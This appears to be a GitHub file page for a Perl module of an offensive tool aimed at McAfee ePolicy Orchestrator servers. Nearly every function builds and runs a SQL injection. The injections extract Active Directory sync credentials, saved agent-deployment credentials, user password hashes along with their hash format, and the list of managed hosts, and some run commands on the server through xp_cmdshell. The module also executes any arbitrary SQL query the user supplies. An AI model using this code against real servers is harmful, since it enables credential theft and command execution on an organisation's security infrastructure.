-
Notifications
You must be signed in to change notification settings - Fork 22
/
ModeReadDB.pm
271 lines (192 loc) · 7.19 KB
/
ModeReadDB.pm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
package Epowner::Epo;
use Text::SimpleTable;
use strict;
use warnings;
sub mode_readdb_get_servername{
my $this = shift;
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Retrieving server hostname \n";
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
"select ComputerName from dbo.EPOServerInfo;"
);
# Go
my @results = $this->sql_execute($sqli);
if(@results ne 0){
print " [+] ServerName: " . $results[0] . "\n" if $this->{verbose};
$this->{server_servername} = $results[0];
}
}
sub mode_readdb_get_mssql_whoami{
my $this = shift;
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
" exec master.dbo.xp_cmdshell 'whoami';"
);
# Go
my @results = $this->sql_execute($sqli);
if(@results ne 0){
print " [+] Who Am I ? : " . $results[0] . "\n" if $this->{verbose};
$this->{server_mssql_whoami} = $results[0];
return 1;
}
return 0;
}
sub mode_readdb_get_mssql_runas_priv{
my $this = shift;
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
" exec master.dbo.xp_cmdshell 'reg query \"HKU\\S-1-5-19\"';"
);
# Go
my @results = $this->sql_execute($sqli);
if(@results ne 0){
print " [+] req query returned : " . $results[0] . "\n" if $this->{verbose};
# $this->{server_mssql_whoami} = $results[0];
if($results[0] =~ /Access is denied/){
return 0;
}else{
return 1;
}
}
return 0;
}
sub mode_readdb_print_agents{
my $this = shift;
# get agents
my @results = $this->mode_readdb_get_agents();
if(@results ne 0){
$this->print_ok ("[*] Got data !\n");
my $t = Text::SimpleTable->new( [15, 'HostName'],
[30, 'FQDN'],
[50, 'OS'],
[15, 'Username'],
[15, 'IP addr'],
[14, 'Last seen']
);
foreach my $res (@results){
my ($ParentId, $ComputerName, $Hostname, $OSType, $OSPlatform , $OSVersion, $OSServicePackVer, $UserName , $IPv4, $LastSeen) = split(/\|/,$res);
my $OS = $OSType . " ". $OSPlatform . " " . $OSVersion . " " . $OSServicePackVer;
$t->row( $ComputerName || "N/A",
$Hostname || "N/A",
$OS || "N/A",
$UserName || "N/A" ,
$IPv4 || "N/A",
$LastSeen || "N/A"
);
}
$this->print_data ($t->draw());
}else{
$this->print_err ("[-] No data were found..\n");
}
return 1;
}
sub mode_readdb_get_syncdir {
my $this = shift;
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Retrieving Active Directory Sync credentials\n";
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
"select server + '|' + authServer + '|' + authUser + '|' + authPassword from dbo.EPOSyncDir ;"
);
# Go
my @results = $this->sql_execute($sqli);
return (@results);
}
sub mode_readdb_get_deployagent_creds {
my $this = shift;
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Retrieving Deployment-Agents saved credentials\n";
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
# Thanks to Alaeddine Mesbahi for this SQL statement
"select Value + '|' + " .
"(select Value from OrionPersonalPreferences t2 where t1.UserId=t2.UserId and t2.Name='computermgmt.deployagent.credentials.pwd') + '|' + " .
"(select Value from OrionPersonalPreferences t3 where t1.UserId=t3.UserId and t3.Name='computermgmt.deployagent.credentials.domain') " .
"from OrionPersonalPreferences as t1 where Name = 'computermgmt.deployagent.credentials.name' ;"
);
# Go
my @results = $this->sql_execute($sqli);
return (@results);
}
sub mode_readdb_get_agents {
my $this = shift;
$this->print_info("\n[*] Getting Agent list\n");
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Retrieving Agent list\n";
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
"select cast(prop.ParentId as varchar(11)) + '|' + prop.ComputerName + '|' + prop.IPHostname + '|' + prop.OSType + '|' + prop.OSPlatform + '|' " .
"+ prop.OSVersion + '|' + prop.OSServicePackVer + '|' + prop.UserName + '|' + prop.IPAddress + '|' " .
"+ LEFT(DATENAME(MM, leaf.LastUpdate),3) + ' ' + RIGHT('0'+DATENAME(DD, leaf.LastUpdate),2) + ' ' + SUBSTRING(CONVERT(varchar,leaf.LastUpdate,0),13,7) " .
"from dbo.EPOComputerProperties as prop, EPOLeafNode as leaf where prop.ParentID = leaf.AutoID and leaf.Managed = 1;"
# "select cast(ParentId as varchar(11)) + '|' + ComputerName + '|' + IPHostname + '|' + OSType + '|' + OSPlatform + '|' + OSVersion " .
# "+ '|' + OSServicePackVer + '|' + UserName + '|' + IPAddress from dbo.EPOComputerProperties;"
);
# Go
my @results = $this->sql_execute($sqli);
return (@results);
}
sub mode_readdb_print_users{
my $this = shift;
$this->print_info("\n[*] Getting accounts information\n");
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Retrieving user hashes\n";
#prepare SQL Injection
my $sqli = $this->sql_prepare_select(
"select Name + '|' + AuthURI from dbo.OrionUsers;"
);
# Go
my @results = $this->sql_execute($sqli);
if(@results ne 0){
$this->print_ok ("[*] Got data !\n");
my $t = Text::SimpleTable->new( [25, 'Username'],
[60, 'AuthURI'],
);
foreach my $res (@results){
my ($user, $hash) = split(/\|/,$res);
$t->row($user, $hash);
}
$this->print_data ($t->draw());
print "Hash format is 'uri_escape(base64(SHA1(<password><salt>)<salt>))' where <salt> is 4 bytes length.\n";
}else{
$this->print_err ("[-] No data were found..\n");
}
return 1;
}
sub mode_readdb_banner{
my $this = shift;
$this->print_info_l1("[*] Call to ModeReadDB\n");
}
#====================================================================
# PRINT QUERY RESULT
#====================================================================
sub mode_readdb_manual_sql_query{
my $this = shift;
my $query = shift; # SQL statement
# banner mode
$this->mode_readdb_banner();
$this->print_info_l2(" Parameters: ");
print "Custom SQL query: $query\n";
# get query results
my $sqli = $this->sql_prepare_select($query);
my @results = $this->sql_execute($sqli);
if(@results ne 0){
# draw result
$this->print_ok ("[*] Got data !\n");
my $t = Text::SimpleTable->new( [100, 'Result'] );
foreach my $res (@results){
$t->row($res || "N/A");
}
$this->print_data ($t->draw());
}else{
$this->print_err ("[-] No data were found..\n");
}
return 1;
}
1;